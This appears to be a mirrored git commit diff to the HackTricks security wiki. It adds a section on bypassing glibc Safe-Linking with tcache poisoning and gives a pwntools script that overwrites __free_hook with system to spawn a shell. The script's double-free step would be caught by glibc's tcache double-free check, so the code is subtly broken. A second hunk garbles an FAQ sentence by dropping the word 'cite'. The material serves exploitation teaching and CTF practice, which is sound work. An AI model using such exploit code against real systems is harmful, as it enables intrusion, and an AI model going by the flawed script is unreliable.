mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Add content from: Research Update: Enhanced src/binary-exploitation/arbitrary-...
This commit is contained in:
		
							parent
							
								
									30fa8082d2
								
							
						
					
					
						commit
						ac6b15b16d
					
				@ -1,4 +1,4 @@
 | 
				
			|||||||
# WWW2Exec - \_\_malloc_hook & \_\_free_hook
 | 
					# WWW2Exec - __malloc_hook & __free_hook
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -64,12 +64,78 @@ Now a **fast bin attack** is performed:
 | 
				
			|||||||
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
 | 
					- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
 | 
				
			||||||
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
 | 
					- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					glibc 2.32 introduced **Safe-Linking** – an integrity-check that protects the *single*-linked lists used by **tcache** and fast-bins. Instead of storing a raw forward pointer (`fd`), ptmalloc now stores it *obfuscated* with the following macro:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```c
 | 
				
			||||||
 | 
					#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
 | 
				
			||||||
 | 
					#define REVEAL_PTR(ptr)       PROTECT_PTR(&ptr, ptr)
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Consequences for exploitation:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					1. A **heap leak** is mandatory – the attacker must know the runtime value of `chunk_addr >> 12` to craft a valid obfuscated pointer.
 | 
				
			||||||
 | 
					2. Only the *full* 8-byte pointer can be forged; single-byte partial overwrites will not pass the check.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					A minimal tcache-poisoning primitive that overwrites `__free_hook` on glibc 2.32/2.33 therefore looks like:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```py
 | 
				
			||||||
 | 
					from pwn import *
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 | 
				
			||||||
 | 
					p    = process("./vuln")
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
 | 
				
			||||||
 | 
					heap_leak   = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
 | 
				
			||||||
 | 
					heap_base   = heap_leak & ~0xfff
 | 
				
			||||||
 | 
					fd_key      = heap_base >> 12  # value used by PROTECT_PTR
 | 
				
			||||||
 | 
					log.success(f"heap @ {hex(heap_base)}")
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# 2. Prepare two same-size chunks and double-free one of them
 | 
				
			||||||
 | 
					a = malloc(0x48)
 | 
				
			||||||
 | 
					b = malloc(0x48)
 | 
				
			||||||
 | 
					free(a)
 | 
				
			||||||
 | 
					free(b)
 | 
				
			||||||
 | 
					free(a)           # tcache double-free ⇒ poisoning primitive
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# 3. Forge obfuscated fd that points to __free_hook
 | 
				
			||||||
 | 
					free_hook = libc.sym['__free_hook']
 | 
				
			||||||
 | 
					poison    = free_hook ^ fd_key
 | 
				
			||||||
 | 
					edit(a, p64(poison))  # overwrite fd of tcache entry
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# 4. Two mallocs: the second one returns a pointer to __free_hook
 | 
				
			||||||
 | 
					malloc(0x48)           # returns chunk a
 | 
				
			||||||
 | 
					c = malloc(0x48)       # returns chunk @ __free_hook
 | 
				
			||||||
 | 
					edit(c, p64(libc.sym['system']))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# 5. Trigger
 | 
				
			||||||
 | 
					bin_sh = malloc(0x48)
 | 
				
			||||||
 | 
					edit(bin_sh, b"/bin/sh\x00")
 | 
				
			||||||
 | 
					free(bin_sh)
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					The snippet above was adapted from recent CTF challenges such as *UIUCTF 2024 – «Rusty Pointers»* and *openECSC 2023 – «Babyheap G»*, both of which relied on Safe-Linking bypasses to overwrite `__free_hook`. 
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## What changed in glibc ≥ 2.34?
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Starting with **glibc 2.34 (August 2021)** the allocation hooks `__malloc_hook`, `__realloc_hook`, `__memalign_hook` and `__free_hook` were **removed from the public API and are no longer invoked by the allocator**. Compatibility symbols are still exported for legacy binaries, but overwriting them no longer influences the control-flow of `malloc()` or `free()`. 
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Practical implication: on modern distributions (Ubuntu 22.04+, Fedora 35+, Debian 12, etc.) you must pivot to *other* hijack primitives (IO-FILE, `__run_exit_handlers`, vtable spraying, etc.) because hook overwrites will silently fail.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					If you still need the old behaviour for debugging, glibc ships `libc_malloc_debug.so` which can be pre-loaded to re-enable the legacy hooks – but the library is **not meant for production and may disappear in future releases**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## References
 | 
					## References
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
 | 
					- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
 | 
				
			||||||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
 | 
					- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
 | 
				
			||||||
 | 
					- Safe-Linking – Eliminating a 20 year-old malloc() exploit primitive (Check Point Research, 2020)
 | 
				
			||||||
 | 
					- glibc 2.34 release notes – removal of malloc hooks
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
				
			|||||||
@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
> [!TIP]
 | 
					> [!TIP]
 | 
				
			||||||
>
 | 
					>
 | 
				
			||||||
> - **How can I cite a page of HackTricks?**
 | 
					> - **How can I  a page of HackTricks?**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
As long as the link **of** the page(s) where you took the information from appears it's enough.\
 | 
					As long as the link **of** the page(s) where you took the information from appears it's enough.\
 | 
				
			||||||
If you need a bibtex you can use something like:
 | 
					If you need a bibtex you can use something like:
 | 
				
			||||||
@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
{{#include ../banners/hacktricks-training.md}}
 | 
					{{#include ../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
				
			|||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user